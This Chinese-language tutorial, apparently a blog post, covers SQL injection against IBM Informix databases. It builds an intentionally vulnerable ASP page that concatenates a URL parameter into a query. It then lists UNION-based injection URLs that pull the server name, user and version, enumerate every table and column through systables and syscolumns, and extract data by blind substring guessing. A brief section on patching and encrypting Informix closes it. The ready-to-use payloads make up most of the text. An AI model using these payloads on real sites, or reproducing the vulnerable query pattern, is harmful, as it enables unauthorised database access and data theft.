informix数据类型比较复杂,在union查询中最郁闷的就是匹配字段的问题
数据类型如下
informix的字段类型
char(size)
varchar(size)
serial
nchar(size)
nvarchar(size)
real
interval
date
datetime
integer
smallint
float
smallfloat
money(p,s)
decimal(p,s)
text
byte
如果字段数量和类型都匹配了 那么得到数据很容易
****************************************************
测试环境:
reate table test(name char(32),id int)
****************************************************
ASP代码
====================================================
<%
Set conn=Server.CreateObject("ADODB.CONNECTION")
Set rs=Server.CreateObject("ADODB.RecordSet")
conn.open "dsn=poison;uid=informix;pwd=xxxxxx"
id=request("id")
strSQL = "select name from test where id=" & id
set rs=conn.execute(strSQL)
response.write(rs("name"))
rs.close
conn.close
%>
=====================================================
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select dbservername from systables;
dbservername,返回数据库服务器的名称
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select user from systables;
user,返回执行查询的用户的用户名(登陆帐户名)
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(today) from systables;
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(dbinfo(’sqlca.sqlerrd1’)) from systables;
返回任何表中插入的最后一个SERIAL值
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(dbinfo(’version’, ’full’)) from systables;
***************************************************************************************************************************
得到任何数据
两个重要的系统表
systables:描述数据库中的很张表;
syscolumns:描述数据库中表的列;
==============================================
select * from systables
tabname syscolumns
owner informix
partnum 1048580
tabid 2
rowsize 157
ncols 10
nindexes 2
nrows 2353.000000000
created 04/28/2008
version 65539
tabtype T
locklevel R
npused 25.00000000000
fextsize 32
nextsize 32
flags 0
site
dbname
type_xid 0
am_id 0
pagesize 4096
ustlowts 2008-04-28 22:26:00.00000
secpolicyid 0
protgranularity
==================================================
select * from syscolumns
colname tabname
tabid 1
colno 1
coltype 13
collength 128
colmin 541543519
colmax 1937339256
extended_id 0
seclabelid 0
colattr 0
===================================================
这样就可以得到任何表任何列的信息了
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(count(*)) from systables
因为informix中利用first n 经常会出现"Cannot use "first", "limit" or "skip" in this context"的问题
(我也不知道什么原因 一些工具也就无法递归猜解数据)
systables 中tabid顺序排列 可以穷举得到所有表名
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select tabname from systables where tabid=1
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select tabname from systables where tabid=n
得到tabid和tabname的对应关系
and 1=2 union select colname from syscolumns where tabid=1
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=1
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=2
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=n
得到tabid=100 对应表的所有列
表列都有了 直接暴数据
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
不能union只能以为以为去猜 和ACCESS没什么太大的区别
注意只是一些函数的差别
length长度
substr 返回字符串中的某一部分,例substr(col,1,2)
substring 返回字符串中的某一部分,例substring(col,from 1 to 4)
我没有找到ASCII转化的函数
可以用字符表示 例’a’=substr(admin,1,1)
或者用十六进制函数
hex返回表达式的十六进制数
保护informix
为服务器持续打补丁
每当IBM发布新补丁的时候,应该尽可能地测试这些补丁并将其部署到生产系统上去
加密网络通信量
应该加密服务器和客户机之间的通信量。这有助于保护用户账户以及阻止通过网络窃取数据。通过使用Communication Support Module(通信支持模块)可以实现这一点。请参看Informix Server Administrator’s Guide(Informix服务器管理员指南)
有用文档
下述文档值得一读:
IBM Informix Dynamic Server Administrator’s Guide:http://publibfp.boulder.ibm.com/epubs/pdf/ct1ucna.pdf
IBM Informix Trusted Facility Guide:http://publibfp.boulder.ibm.com/epubs/pdf/ct1tbna.pdf
IBM Informix Guide to SQL:http://publibfi.boulder.ibm.com/epubs/pdf/ct1sqna.pdf